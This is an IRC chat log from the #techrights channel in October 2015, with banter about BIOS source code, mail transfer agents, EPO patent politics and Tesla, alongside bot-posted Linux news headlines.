| msb_ | ground, trying to stay alive. http://motherboard.vice.com/read/in-this-game-you-play-a-drone-pilot-then-a-drone-target http://www.killbox.info/ | Oct 08 23:48 |
| -TechrightsBot-tr/#techrights-motherboard.vice.com | In This Game You Play a Drone Pilot, Then a Drone Target | Motherboard [ http://ur1.ca/nyodd ] | Oct 08 23:48 | |
| -TechrightsBot-tr/#techrights-www.killbox.info | Killbox | Oct 08 23:48 | |
| MinceR | go develop it, then | Oct 08 23:48 |
| msb_ | Busy doing other things, but maybe I can e-mail the suggestion to Sarah Sharp. | Oct 08 23:50 |
| MinceR | or you could hire somebody to do it | Oct 08 23:50 |
| msb_ | No money. | Oct 08 23:50 |
| MinceR | i'm sure there are plenty of rich sjws who are interested in funding such a project | Oct 08 23:55 |
| msb_ | "like not using a huge bloated bug-ridden hairball to boot your system" It's likely that the BIOS code used by reputable mobo manufacturers, having evolved through dozens of different models, is very well debugged and well structured. | Oct 08 23:56 |
| MinceR | seems unlikely, but at least it was probably designed with more thought than uefi | Oct 08 23:57 |
| MinceR | and they had plenty of time to fix bugs | Oct 08 23:57 |
| cubexyz | well it is and it isn't... | Oct 08 23:57 |
| MinceR | also, locking users into winblows and macos probably wasn't a primary design goal | Oct 08 23:57 |
| cubexyz | AMI BIOS source code is fairly convoluted | Oct 08 23:57 |
| MinceR | back then, i mean | Oct 08 23:58 |
| MinceR | as opposed to uefi | Oct 08 23:58 |
| cubexyz | 1999 era BIOS source code is convoluted | Oct 08 23:58 |
| cubexyz | modern BIOS code is even more voluminous | Oct 08 23:58 |
| cubexyz | no, it is true there was no lock-in back in 1999 and before | Oct 08 23:59 |
| msb_ | cubexyz: Where can we find AMI BIOS source code, or modern BIOS code? | Oct 08 23:59 |
| cubexyz | people are rather reluctant to post it, but there used to be some Russian sites and torrents that had some | Oct 09 00:00 |
| cubexyz | 286 BIOS should be easy to find | Oct 09 00:00 |
| msb_ | Yay! Vladimir Putin the Hero of the People comes through again! 8^) | Oct 09 00:03 |
| *MinceR facepalms | Oct 09 00:03 | |
| msb_ | MinceR: After you've replaced the exploded pieces of your brain back into your head, you may not quote that line without the smiley. | Oct 09 00:06 |
| MinceR | :crickets: | Oct 09 00:06 |
| msb_ | http://cosmicpenguin.com/misc/62---Night-Atmosphere---Crickets,-Frogs,-Ducks.mp3 | Oct 09 00:13 |
| msb_ | I once worked in a lab where we bought crickets to feed the experimental frogs. A box full of crickets got loose and they chirped continuously for weeks. We were never able to find them. | Oct 09 00:20 |
| MinceR | lol | Oct 09 00:26 |
| schestowitz | https://joindiaspora.com/posts/6670549 | Oct 09 00:27 |
| -TechrightsBot-tr/#techrights-@schestowitz@joindiaspora.com: #clinton wants to have gun suppliers liable for mass murders (hence sued). OK, so #syria can sue #pentagon McCain and Clinton? | Oct 09 00:27 | |
| schestowitz | ""What comes next? Making Microsoft liable of her setting up an unauthorized and illegal mail server?" | Oct 09 00:27 |
| schestowitz | I have always been trying to find clear evidence that she uses Exchange/MS for it... | Oct 09 00:27 |
| cubexyz | true Unix peeps use sendmail :) | Oct 09 00:41 |
| MinceR | not postfix? | Oct 09 00:42 |
| cubexyz | well delivermail is the original mail transport agent | Oct 09 00:43 |
| MinceR | looks like clinton has a pretty tenuous grip on the concept of responsibility | Oct 09 00:43 |
| MinceR | also, rule of law | Oct 09 00:43 |
| cubexyz | MTAs actually used ftp for mail delivery in the early days | Oct 09 00:43 |
| cubexyz | but 2.11BSD is sendmail, and quasijarus is sendmail | Oct 09 00:44 |
| cubexyz | I still use it | Oct 09 00:44 |
| cubexyz | postfix came on the scene far later on | Oct 09 00:45 |
| cubexyz | 1997 or so | Oct 09 00:45 |
| cubexyz | that's from IBM-land | Oct 09 00:45 |
| MinceR | https://pbs.twimg.com/media/CQ0gYTKWoAM-RAG.png | Oct 09 00:47 |
| cubexyz | sendmail == BSD | Oct 09 00:47 |
| cubexyz | postfix == IBM | Oct 09 00:47 |
| cubexyz | which is the more Unixy? | Oct 09 00:47 |
| MinceR | i've never seen postfix associated with ibm | Oct 09 00:47 |
| cubexyz | why do you think postfix uses the IBM Public License? | Oct 09 00:48 |
| MinceR | i didn't know it did | Oct 09 00:48 |
| MinceR | it even used to be called "IBM Secure Mailer", apparently | Oct 09 00:49 |
| cubexyz | Wiestse Zweitze is at Google now | Oct 09 00:49 |
| MinceR | not Wietse Venema? | Oct 09 00:49 |
| cubexyz | ah, it is Venema yes, sorry Zweitze must be a middle name | Oct 09 00:50 |
| cubexyz | 2.11BSD might actually be more "up to date" than quasijarus | Oct 09 01:07 |
| cubexyz | I haven't heard of anyone working on quasijarus in a long time | Oct 09 01:08 |
| cubexyz | but I do know that the PDP-11 aficionados working on 2.11BSD, myself included | Oct 09 01:08 |
| cubexyz | s/working/are working/ | Oct 09 01:09 |
| cubexyz | ok msb_, I think I got a link for you | Oct 09 01:12 |
| cubexyz | I looked into PDP-11 and there is no real equivalent to PC BIOS on PDP-11 | Oct 09 01:13 |
| cubexyz | wow, they really scrubbed all the BIOS links | Oct 09 01:17 |
| cubexyz | https://filetea.me/t1skxtmtr4oSF2IfTZmNgcR9w | Oct 09 01:21 |
| -TechrightsBot-tr/#techrights-filetea.me | FileTea, anonymous, volatile file sharing [ http://ur1.ca/nyp4d ] | Oct 09 01:21 | |
| cubexyz | oops, how did that get there? | Oct 09 01:22 |
| MinceR | must be an accidental paste | Oct 09 01:22 |
| cubexyz | don't look NSA | Oct 09 01:22 |
| MinceR | too late, they started looking ages ago | Oct 09 01:23 |
| MinceR | i can try to summon the rest of the gang if you want | Oct 09 01:23 |
| MinceR | M-x spook | Oct 09 01:23 |
| MinceR | :> | Oct 09 01:23 |
| cubexyz | can't believe none of the Russian links work | Oct 09 01:24 |
| msb_ | Was that filetea page supposed to do something? I just got a blank page. But now my computer is looking at me funny. | Oct 09 01:39 |
| MinceR | with javascript it allows you to download a file | Oct 09 01:40 |
| MinceR | without javascript it won't do much | Oct 09 01:40 |
| msb_ | I don't have an option for turning javascript off. | Oct 09 01:46 |
| cubexyz | hmmm, I need a better way to do this | Oct 09 01:47 |
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| MinceR | refreshing might help | Oct 09 01:49 |
| MinceR | actually it stopped working for me too | Oct 09 01:49 |
| MinceR | maybe they took the file down | Oct 09 01:49 |
| cubexyz | possible | Oct 09 01:49 |
| MinceR | a bit too volatile, perhaps | Oct 09 01:49 |
| cubexyz | https://filetea.me/default/#t1sEn32gwY2RNmXoETMxxOjyA | Oct 09 01:50 |
| -TechrightsBot-tr/#techrights-filetea.me | FileTea, anonymous, volatile file sharing [ http://ur1.ca/nypce ] | Oct 09 01:50 | |
| cubexyz | it closes itself if the sender closes the tab | Oct 09 01:51 |
| MinceR | ah, so that's what they meant by "volatile" | Oct 09 01:51 |
| cubexyz | yes :) | Oct 09 01:51 |
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| msb_ | Wanna see my Kitty Porn? | Oct 09 01:53 |
| cubexyz | reminds me of a funny story about source code | Oct 09 01:53 |
| cubexyz | Company A makes programmer B sign an NDA | Oct 09 01:53 |
| cubexyz | which states after the programming work is done and forwarded you must delete all copies | Oct 09 01:54 |
| cubexyz | several years later Company A is asking programmer B "uh.... do you still have the code?" | Oct 09 01:54 |
| cubexyz | anyways, now you know why a lot of bugs are never fixed | Oct 09 01:55 |
| MinceR | :> | Oct 09 01:56 |
| msb_ | It could be a trap. Company A found out that Company C has the code, and is looking for an excuse to sue Programmer B. | Oct 09 01:58 |
| MinceR | indeed | Oct 09 01:58 |
| cubexyz | no, it was just a cock up | Oct 09 01:58 |
| cubexyz | lots of stuff gets lost | Oct 09 01:59 |
| cubexyz | another thing I wondered about... does the NDA ever expire? | Oct 09 02:01 |
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| cubexyz | what am I supposed to do with all these cola recipes? | Oct 09 02:02 |
| cubexyz | ah, there's a "in perpetuity" clause | Oct 09 02:03 |
| msb_ | Damn I wish I were rich! http://www.npr.org/sections/thetwo-way/2015/09/30/444721375/tesla-unveils-its-model-x-complete-with-a-bioweapon-defense-button | Oct 09 02:23 |
| -TechrightsBot-tr/#techrights-www.npr.org | Tesla Unveils Its Model X, Complete With A 'Bioweapon Defense' Button : The Two-Way : NPR [ http://ur1.ca/nypjl ] | Oct 09 02:23 | |
| MinceR | they should call when it's complete with reliability | Oct 09 02:25 |
| msb_ | At least it won't be shooting soot out of its tail. | Oct 09 02:26 |
| MinceR | full of pointless boondoggles | Oct 09 02:26 |
| MinceR | yeah, it will especially not generate pollution when the software crashes and the car grinds to a halt | Oct 09 02:26 |
| msb_ | Always the optimist! | Oct 09 02:27 |
| msb_ | How do you charge a 90 KW-hour battery? Mr. Fusion? | Oct 09 02:30 |
| MinceR | i wish. | Oct 09 02:30 |
| MinceR | "The company claims it's 300 times better at filtering bacteria, 500 times better at filtering allergens, 700 times better at filtering smog, and 800 times better at filtering viruses." | Oct 09 02:32 |
| MinceR | so if the normal car's air filter doesn't help you at all against bacteria and viruses, then this one will help you 300 and 500 times zero, respectively | Oct 09 02:32 |
| msb_ | At least it will keep out the Zombie Virus that the govt will be releasing in 2016. Fresh Brains!!! | Oct 09 02:35 |
| MinceR | or it won't | Oct 09 02:36 |
| MinceR | we don't really find out from the article | Oct 09 02:36 |
| TweetTuxMachines | @tuxmachines Today in Techrights http://t.co/G9GxjrUyJd | Oct 09 02:37 |
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| TweetTuxMachines | @schestowitz | Oct 09 02:37 |
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| -TechrightsBot-tr/#techrights-www.tuxmachines.org | Today in Techrights | Tux Machines | Oct 09 02:37 | |
| msb_ | My brain uses triple-stranded DNA. Zombies can't touch it! | Oct 09 02:39 |
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| -TechrightsBot-tr/#techrights-www.tuxmachines.org | Today in Techrights | Tux Machines | Oct 09 05:05 | |
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| TweetTuxMachines | @tuxmachines “in spite of Linux being a stretch goal that | Oct 09 07:55 |
| TweetTuxMachines | retweeted by wasn’t reached, the game got a day-one release | Oct 09 07:55 |
| TweetTuxMachines | @timeraner for Linux yesterday.” https://t.co/uBVGOFlIzz | Oct 09 07:55 |
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| -TechrightsBot-tr/#techrights-www.gamingonlinux.com | Cyberpunk Adventure 'Read Only Memories' Released DRM Free And On Steam, Has Demo | GamingOnLinux | Oct 09 07:55 | |
| schestowitz | https://twitter.com/Frittmann/status/652248826078597120 | Oct 09 08:05 |
| -TechrightsBot-tr/#techrights-@Frittmann: @dnlongen I see you've got many of my other faves in there: Krebs, Cluely, Hunt, Schneier. You should also check out @Schestowitz. | Oct 09 08:06 | |
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| schestowitz | https://twitter.com/FOSSpatents/status/652363577991503872 https://twitter.com/FOSSpatents/status/652363876567261184 https://twitter.com/Twpalovi/status/652378112190205953 | Oct 09 08:20 |
| -TechrightsBot-tr/#techrights-@FOSSpatents: @schestowitz Blatterstelli is planning s.th. very bad (re. judicial independence, due process) at next week's Admin Council meeting. | Oct 09 08:20 | |
| -TechrightsBot-tr/#techrights-@FOSSpatents: @schestowitz I've seen a document from Admin Council meeting preparation but I'm presently not blogging about patents (just copyright). | Oct 09 08:20 | |
| -TechrightsBot-tr/#techrights-@Twpalovi: @FOSSpatents @schestowitz No doubt @JohnAlty1 will put his for down. | Oct 09 08:20 | |
| TweetTuxMachines | @tuxmachines Netrunner Rolling 2015.09 Released With New | Oct 09 08:32 |
| TweetTuxMachines | Plasma 5 And Apps Updates | Oct 09 08:32 |
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| -TechrightsBot-tr/#techrights-www.tuxmachines.org | Netrunner Rolling 2015.09 Released With New Plasma 5 And Apps Updates | Tux Machines | Oct 09 08:32 | |
| TweetTuxMachines | @tuxmachines Android Marshmallow update hitting budget | Oct 09 08:33 |
| TweetTuxMachines | phones before yours | Oct 09 08:33 |
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| -TechrightsBot-tr/#techrights-www.slashgear.com | Android Marshmallow update hitting budget phones before yours - SlashGear | Oct 09 08:33 | |
| schestowitz | https://twitter.com/JohnAlty1/status/652385906062663681 | Oct 09 08:33 |
| -TechrightsBot-tr/#techrights-@JohnAlty1: @Twpalovi @FOSSpatents @schestowitz no doubt I will. | Oct 09 08:33 | |
| TweetTuxMachines | @tuxmachines Enlightenment 0.20 Alpha Has Full Wayland | Oct 09 08:33 |
| TweetTuxMachines | Support, Better FreeBSD Support | Oct 09 08:33 |
| schestowitz | Will there be a challenge from the UK? | Oct 09 08:33 |
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| -TechrightsBot-tr/#techrights-www.phoronix.com | Enlightenment 0.20 Alpha Has Full Wayland Support, Better FreeBSD Support - Phoronix | Oct 09 08:33 | |
| TweetTuxMachines | @tuxmachines MATE-Desktop 1.11 Released, Working Towards | Oct 09 08:38 |
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| -TechrightsBot-tr/#techrights-www.phoronix.com | MATE-Desktop 1.11 Released, Working Towards MATE 1.12 - Phoronix | Oct 09 08:38 | |
| TweetTuxMachines | @tuxmachines GParted Live Gets the Latest Updates from | Oct 09 08:38 |
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| TweetTuxMachines | "small bootable GNU/Linux distribution" | Oct 09 08:38 |
| -TechrightsBot-tr/#techrights-linux.softpedia.com | GParted Live Gets the Latest Updates from Debian Sid - Softpedia | Oct 09 08:38 | |
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| -TechrightsBot-tr/#techrights-t1t.us | Get More Twitter 1000 Free Followers at t1t.us | Oct 09 08:41 | |
| TweetTuxMachines | @tuxmachines Android 6.0 Marshmallow review | Oct 09 08:41 |
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| -TechrightsBot-tr/#techrights-www.digitaltrends.com | Android 6.0 Marshmallow Review | Digital Trends | Oct 09 08:41 | |
| TweetTuxMachines | @tuxmachines Running Some Fresh BSD vs. Linux Benchmarks | Oct 09 08:42 |
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| -TechrightsBot-tr/#techrights-www.phoronix.com | Running Some Fresh BSD vs. Linux Benchmarks - Phoronix | Oct 09 08:42 | |
| TweetTuxMachines | @tuxmachines Clonezilla Live 2.4.2-59 Arrives with Updated | Oct 09 08:42 |
| TweetTuxMachines | Debian Base http://t.co/gYhy7VRndJ | Oct 09 08:42 |
| TweetTuxMachines | (linux.softpedia.com) | Oct 09 08:42 |
| -TechrightsBot-tr/#techrights-linux.softpedia.com | Clonezilla Live 2.4.2-59 Arrives with Updated Debian Base - Softpedia | Oct 09 08:42 | |
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| schestowitz | "Think of the notorious cases when DG3 has found a blockbuster patent (pharma, telecoms) invalid. Blown away, throughout Europe, in one fell swoop. What does that do to the blood pressure of the CEO of the patent owner? Who do they think they are, at the EPO, the Big Boss fumes. They should know their place, It is me, not some scrivening Patent Office jobsworth, who drives my business." | Oct 09 09:11 |
| schestowitz | http://ipkitten.blogspot.co.uk/2015/10/viennese-waltz-may-be-last-dance-for.html | Oct 09 09:11 |
| -TechrightsBot-tr/#techrights-ipkitten.blogspot.co.uk | The IPKat: Viennese waltz may be the last dance for Board members [ http://ur1.ca/nys0s ] | Oct 09 09:11 | |
| schestowitz | " | Oct 09 09:11 |
| schestowitz | We are asked to suppose that the reason for requiring the judges of DG3 to move to Vienna or face the sack is: | Oct 09 09:11 |
| schestowitz | "...showing this group of ungrateful judges who's really the boss, who's in control of their careers" | Oct 09 09:12 |
| schestowitz | At first sight, it seems ridiculous, that the AC can allow the President to behave like this, and destroy the fount of the highly respected and intellectually sound and coherent jurisprudence on the substantive law of validity of patents in Europe. But is it? | Oct 09 09:12 |
| schestowitz | Elsewhere in the blogosphere, we read that what suits the power users of the patent system, in their struggles to hold down the upstarts of this world, is legal UNcertainty. The judges of DG3 have upset not only the ego of the EPO President but also the egos of quite a few CEO's of giant corporations. There are no Champions of the EPO amongst their ranks. These CEO's (it is thought that many of them are in fact sociopaths) are the masters of | Oct 09 09:12 |
| schestowitz | the universe whose minions and lobbyists explain to ministers in national governments where their duty lies. Ist so. And these governments in turn explain to their delegates on the EPO's AC how to vote. In being responsive to the minions and lobbyists, BB is only doing the bidding of his masters. Ist so. | Oct 09 09:12 |
| schestowitz | But what of the public? Is legal uncertainty good for it? Is a coherent pan-European body of caselaw on patent validity a Good Thing for the public? | Oct 09 09:12 |
| schestowitz | Remember "What's good for GM is good for America"? When it comes to patent law, is "What's good for VW" (for example) good for Europe? | Oct 09 09:12 |
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| TweetTuxMachines | @tuxmachines GnuCash 2.6.9 Free Accounting Software Patches | Oct 09 10:10 |
| TweetTuxMachines | Serious Bug on Windows OSes | Oct 09 10:10 |
| TweetTuxMachines | http://t.co/fP8pFNpMxm (linux.softpedia.com) | Oct 09 10:11 |
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| -TechrightsBot-tr/#techrights-linux.softpedia.com | GnuCash 2.6.9 Free Accounting Software Patches Serious Bug on Windows OSes - Softpedia | Oct 09 10:11 | |
| TweetTuxMachines | @tuxmachines Netrunner Rolling 2015.09 Released With New | Oct 09 10:11 |
| TweetTuxMachines | Plasma 5 And Apps updates | Oct 09 10:11 |
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| -TechrightsBot-tr/#techrights-www.linuxandubuntu.com | Netrunner Rolling 2015.09 Released With New Plasma 5 And Apps Updates - LinuxAndUbuntu | Oct 09 10:11 | |
| TweetTuxMachines | @tuxmachines Mobile Linux (e.g. Android) Still a Victim of | Oct 09 10:34 |
| TweetTuxMachines | Software Patents, No Peace in Sight | Oct 09 10:34 |
| TweetTuxMachines | http://t.co/qzjWHow1Sg (techrights.org) | Oct 09 10:34 |
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| -TechrightsBot-tr/#techrights-techrights.org | Mobile Linux (e.g. Android) Still a Victim of Software Patents, No Peace in Sight | Techrights | Oct 09 10:35 | |
| TweetTuxMachines | @tuxmachines GNOME 3.18.1 newstable tarballs due | Oct 09 10:35 |
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| -TechrightsBot-tr/#techrights-www.tuxmachines.org | GNOME 3.18.1 newstable tarballs due | Tux Machines | Oct 09 10:35 | |
| TweetTuxMachines | @tuxmachines SUSE Announces SUSE Linux Enterprise Server for | Oct 09 10:35 |
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| -TechrightsBot-tr/#techrights-www.tuxmachines.org | SUSE Announces SUSE Linux Enterprise Server for SAP Apps on Amazon Web Services | Tux Machines | Oct 09 10:35 | |
| TweetTuxMachines | @tuxmachines CC BY-SA 4.0 now one-way compatible with GPLv3 | Oct 09 10:35 |
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| -TechrightsBot-tr/#techrights-www.tuxmachines.org | CC BY-SA 4.0 now one-way compatible with GPLv3 | Tux Machines | Oct 09 10:35 | |
| TweetTuxMachines | @tuxmachines U.S. report highlights positive elements of | Oct 09 10:44 |
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| -TechrightsBot-tr/#techrights-www.tuxmachines.org | U.S. report highlights positive elements of government open source adoption | Tux Machines | Oct 09 10:44 | |
| TweetTuxMachines | @tuxmachines Today in Techrights http://t.co/uDhH3DAcTv | Oct 09 10:44 |
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| -TechrightsBot-tr/#techrights-www.tuxmachines.org | Today in Techrights | Tux Machines | Oct 09 10:45 | |
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| *TweetTuxMachines @schestowitz retweeted @tuxmachines: 'Mobile Linux (e.g. Android) Still a Victim of...' | Oct 09 11:00 | |
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| *TweetTuxMachines @schestowitz retweeted @tuxmachines: 'Today in Techrights http://t.co/uDhH3DAcTv' | Oct 09 11:12 | |
| TweetTuxMachines | @tuxmachines Nvidia Shield Android TV: A powerful do-it-all | Oct 09 11:12 |
| TweetTuxMachines | box that lacks content http://t.co/TwjDuLtHHP | Oct 09 11:12 |
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| -TechrightsBot-tr/#techrights-arstechnica.com | Nvidia Shield Android TV: A powerful do-it-all box that lacks content | Ars Technica | Oct 09 11:12 | |
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| TweetTuxMachines | @tuxmachines Android-powered Priv phone is a make-or-break | Oct 09 11:20 |
| TweetTuxMachines | venture for BlackBerry, CEO says | Oct 09 11:20 |
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| -TechrightsBot-tr/#techrights-www.thestar.com | Android-powered Priv phone is a make-or-break venture for BlackBerry, CEO says | Toronto Star | Oct 09 11:20 | |
| TweetTuxMachines | @tuxmachines Review: Android Pay works well, when you can | Oct 09 11:20 |
| TweetTuxMachines | use it http://t.co/4AUE6Xxnim (m.phys.org) OK | Oct 09 11:20 |
| TweetTuxMachines | when cash payments not an option | Oct 09 11:20 |
| -TechrightsBot-tr/#techrights-phys.org | Review: Android Pay works well, when you can use it | Oct 09 11:20 | |
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| TweetTuxMachines | @tuxmachines CC BY-SA 4.0 now one-way compatible with GPLv3 | Oct 09 11:33 |
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| -TechrightsBot-tr/#techrights-creativecommons.org | CC BY-SA 4.0 now one-way compatible with GPLv3 - Creative Commons | Oct 09 11:33 | |
| TweetTuxMachines | @tuxmachines Video: Recent public talk with Linus Torvalds | Oct 09 11:33 |
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| -TechrightsBot-tr/#techrights-www.montanalinux.org | Video: Recent public talk with Linus Torvalds | MontanaLinux.org | Oct 09 11:33 | |
| TweetTuxMachines | @tuxmachines "GNOME Twitch is a GNOME 3 application" | Oct 09 11:33 |
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| -TechrightsBot-tr/#techrights-www.webupd8.org | Watch Twitch Without Flash On Your Desktop With GNOME Twitch ~ Web Upd8: Ubuntu / Linux blog | Oct 09 11:33 | |
| TweetTuxMachines | @tuxmachines Expandable Panel PCs run Linux on dual-core Bay | Oct 09 11:42 |
| TweetTuxMachines | Trail Atom http://t.co/qSPZDP4KMm | Oct 09 11:42 |
| TweetTuxMachines | (linuxgizmos.com) | Oct 09 11:42 |
| -TechrightsBot-tr/#techrights-linuxgizmos.com | Expandable Panel PCs run Linux on dual-core Bay Trail Atom · LinuxGizmos.com | Oct 09 11:42 | |
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| TweetTuxMachines | @tuxmachines Spice Vulnerabilities Closed in Ubuntu 14.04 | Oct 09 11:56 |
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| -TechrightsBot-tr/#techrights-linux.softpedia.com | Spice Vulnerabilities Closed in Ubuntu 14.04 LTS and Ubuntu 15.04 - Softpedia | Oct 09 11:56 | |
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| -TechrightsBot-tr/#techrights-www.tuxmachines.org | Today in Techrights | Tux Machines | Oct 09 11:56 | |
| TweetTuxMachines | @tuxmachines IBM and Servers http://t.co/qdhU3l26sV | Oct 09 11:56 |
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| -TechrightsBot-tr/#techrights-www.tuxmachines.org | IBM and Servers | Tux Machines | Oct 09 11:56 | |
| TweetTuxMachines | @tuxmachines LinuxCon Europe and Embedded Linux Conference | Oct 09 11:56 |
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| -TechrightsBot-tr/#techrights-www.tuxmachines.org | LinuxCon Europe and Embedded Linux Conference Europe | Tux Machines | Oct 09 11:56 | |
| TweetTuxMachines | @tuxmachines Using open source principles to build better | Oct 09 12:04 |
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| -TechrightsBot-tr/#techrights-www.tuxmachines.org | Using open source principles to build better engineering teams | Tux Machines | Oct 09 12:04 | |
| TweetTuxMachines | @tuxmachines How Xen Manages Security Disclosure | Oct 09 12:04 |
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| -TechrightsBot-tr/#techrights-www.tuxmachines.org | How Xen Manages Security Disclosure | Tux Machines | Oct 09 12:04 | |
| TweetTuxMachines | @tuxmachines Vendetta Online 1.8.354 3D Space Combat Game | Oct 09 12:05 |
| TweetTuxMachines | Gets Multi-Threaded Physics Engine | Oct 09 12:05 |
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| -TechrightsBot-tr/#techrights-news.softpedia.com | Vendetta Online 1.8.354 3D Space Combat Game Gets Multi-Threaded Physics Engine - Softpedia | Oct 09 12:05 | |
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| Witness | Helizabeth Hardon has sent a letter to the AC of EPO accusing the president of harassement. http://postimg.org/gallery/1jtws5d46/ enjoy. | Oct 09 12:19 |
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| TweetTuxMachines | Track for October Launch http://t.co/vbApVe1dtA | Oct 09 12:21 |
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| -TechrightsBot-tr/#techrights-news.softpedia.com | Ubuntu Touch OTA-7 Update Is Being Tested, on Track for October Launch - Softpedia | Oct 09 12:21 | |
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| msb_ | "Video: Recent public talk with Linus Torvalds" -- not a word about systemd! | Oct 09 13:16 |
| TweetTuxMachines | @tuxmachines AMD Makes Open-Source "Iceland" GPU Support | Oct 09 13:16 |
| TweetTuxMachines | Experimental In Linux 4.3 | Oct 09 13:16 |
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| -TechrightsBot-tr/#techrights-www.phoronix.com | AMD Makes Open-Source "Iceland" GPU Support Experimental In Linux 4.3 - Phoronix | Oct 09 13:16 | |
| TweetTuxMachines | @tuxmachines Beyond Earth – Rising Tide Arrives on Linux | Oct 09 13:16 |
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| -TechrightsBot-tr/#techrights-news.softpedia.com | Beyond Earth – Rising Tide Arrives on Linux Today - Softpedia | Oct 09 13:16 | |
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| TweetTuxMachines | @tuxmachines Android Leftovers http://t.co/dcUbcG5VB3 | Oct 09 13:16 |
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| -TechrightsBot-tr/#techrights-www.tuxmachines.org | Security Leftovers | Tux Machines | Oct 09 13:17 | |
| TweetTuxMachines | @tuxmachines Leftovers: Ubuntu http://t.co/87pPYgJiZ8 | Oct 09 13:17 |
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| -TechrightsBot-tr/#techrights-www.tuxmachines.org | Leftovers: Ubuntu | Tux Machines | Oct 09 13:17 | |
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| TweetTuxMachines | @tuxmachines Phoronix on Graphics http://t.co/74BOspPu9L | Oct 09 18:52 |
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| -TechrightsBot-tr/#techrights-www.tuxmachines.org | Phoronix on Graphics | Tux Machines | Oct 09 18:52 | |
| TweetTuxMachines | @tuxmachines Enlightenment, KDE, and GNOME | Oct 09 18:52 |
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| -TechrightsBot-tr/#techrights-@mozhefa: @schestowitz : all from those arrogant twats, so proud of distance between them n jungle life, they'd rather die than climb a tree. | Oct 09 19:13 | |
| TweetTuxMachines | @tuxmachines Linksys Endorses OpenWrt Linux-Based Open | Oct 09 20:13 |
| TweetTuxMachines | Source OS in Latest Router | Oct 09 20:13 |
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| -TechrightsBot-tr/#techrights-www.tuxmachines.org | Linksys Endorses OpenWrt Linux-Based Open Source OS in Latest Router | Tux Machines | Oct 09 20:13 | |
| TweetTuxMachines | @tuxmachines Examining the KNIME open source data analytics | Oct 09 20:13 |
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| -TechrightsBot-tr/#techrights-www.tuxmachines.org | Examining the KNIME open source data analytics platform | Tux Machines | Oct 09 20:13 | |
| TweetTuxMachines | @tuxmachines Linux Foundation: Security Challenges Threaten | Oct 09 20:52 |
| TweetTuxMachines | ‘Golden Age’ Of Open Source | Oct 09 20:52 |
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| -TechrightsBot-tr/#techrights-www.tuxmachines.org | Linux Foundation: Security Challenges Threaten ‘Golden Age’ Of Open Source | Tux Machines | Oct 09 20:52 | |
| TweetTuxMachines | @tuxmachines Mozilla Continues Moving Away From NPAPI | Oct 09 20:52 |
| TweetTuxMachines | Plugins http://t.co/aPEmoMxp50 | Oct 09 20:52 |
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| -TechrightsBot-tr/#techrights-www.tuxmachines.org | Mozilla Continues Moving Away From NPAPI Plugins | Tux Machines | Oct 09 20:53 | |
| TweetTuxMachines | @tuxmachines Oneplus One with Ubuntu Touch Just Got Cellular | Oct 09 20:53 |
| TweetTuxMachines | Support http://t.co/KGJACmsnxM | Oct 09 20:53 |
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| -TechrightsBot-tr/#techrights-www.tuxmachines.org | Oneplus One with Ubuntu Touch Just Got Cellular Support | Tux Machines | Oct 09 20:53 | |
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| TweetTuxMachines | @tuxmachines New Renesas SoCs offer 1.5GHz, 1080p, GbE, USB | Oct 09 21:31 |
| TweetTuxMachines | 3.0, PCIe http://t.co/KQ9TZV9cDj | Oct 09 21:31 |
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| -TechrightsBot-tr/#techrights-www.tuxmachines.org | New Renesas SoCs offer 1.5GHz, 1080p, GbE, USB 3.0, PCIe | Tux Machines | Oct 09 21:31 | |
| TweetTuxMachines | @tuxmachines Linksys WRT router gains faster SoC, more RAM, | Oct 09 21:34 |
| TweetTuxMachines | OpenWrt http://t.co/eTfsBLUuLm | Oct 09 21:34 |
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| -TechrightsBot-tr/#techrights-www.tuxmachines.org | Linksys WRT router gains faster SoC, more RAM, OpenWrt | Tux Machines | Oct 09 21:34 | |
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| -TechrightsBot-tr/#techrights-www.tuxmachines.org | Science on Android | Tux Machines | Oct 09 21:34 | |
| TweetTuxMachines | @tuxmachines Bodhi: Detour and Forum Themes now Moksha | Oct 09 21:34 |
| TweetTuxMachines | Compatible http://t.co/9Uws1140N8 | Oct 09 21:34 |
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| -TechrightsBot-tr/#techrights-www.tuxmachines.org | Bodhi: Detour and Forum Themes now Moksha Compatible | Tux Machines | Oct 09 21:34 | |
| TweetTuxMachines | @tuxmachines KDBUS Continues Maturing, But Will We See It | Oct 09 21:34 |
| TweetTuxMachines | For Linux 4.4? http://t.co/40iVTFTzQr | Oct 09 21:34 |
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| -TechrightsBot-tr/#techrights-www.tuxmachines.org | KDBUS Continues Maturing, But Will We See It For Linux 4.4? | Tux Machines | Oct 09 21:34 | |
| *TweetTuxMachines @linuxusergroup favourited 'Down to Business with Major Deployments https://t.co/gezQJKETeM' | Oct 09 21:35 | |
| -TechrightsBot-tr/#techrights-dot.kde.org | Down to Business with Major Deployments | KDE.news | Oct 09 21:35 | |
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| cubexyz | looks like PCs are going to be gummed up with Microsoft crap more than ever | Oct 09 23:13 |
| MinceR | indeed | Oct 09 23:23 |
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| cubexyz | Ward from FSF is pretty knowledgeable about BIOS: | Oct 09 23:33 |
| cubexyz | https://fsf.org/blogs/community/active-management-technology | Oct 09 23:34 |
| -TechrightsBot-tr/#techrights-fsf.org | "Active Management Technology": The obscure remote control in some Intel hardware — Free Software Foundation — working together for free software [ http://ur1.ca/nyyw7 ] | Oct 09 23:34 | |
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| cubexyz | one can consider AMT as the Intel flavour of DASH | Oct 09 23:39 |
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| cubexyz | there should be an itegrity check on the BIOS | Oct 10 00:38 |
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| MinceR | https://twitter.com/Arcon_/status/652628863848087552 | Oct 10 00:41 |
| -TechrightsBot-tr/#techrights-@Arcon_: Our good friend @darkespyne242 made a torrent for the #TPP leak https://t.co/Fkai1UziQn | Oct 10 00:41 | |
| -TechrightsBot-tr/#techrights-SSL connect error ( status 0 @ https://my.mixtape.moe/mmvsyy.torrent ) | Oct 10 00:41 | |
| cubexyz | what is that? | Oct 10 00:43 |
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| cubexyz | oh I see... Trans-Pacific Partnership Agreement | Oct 10 00:44 |
| cubexyz | damn, I was hoping for BIOS source code :) | Oct 10 00:45 |
| cubexyz | it's really hard to get you know | Oct 10 00:45 |
| schestowitz | MinceR: ta | Oct 10 00:45 |
| MinceR | :) | Oct 10 00:47 |
| cubexyz | I just learned about NSL's today | Oct 10 00:49 |
| cubexyz | https://en.wikipedia.org/wiki/National_security_letter | Oct 10 00:50 |
| -TechrightsBot-tr/#techrights-en.wikipedia.org | National security letter - Wikipedia, the free encyclopedia [ http://ur1.ca/e7wd7 ] | Oct 10 00:50 | |
| cubexyz | closed source BIOS really is crap though | Oct 10 00:52 |
| cubexyz | and the motherboard manufacturers have made motherboards which are user-hostile in various ways | Oct 10 00:54 |
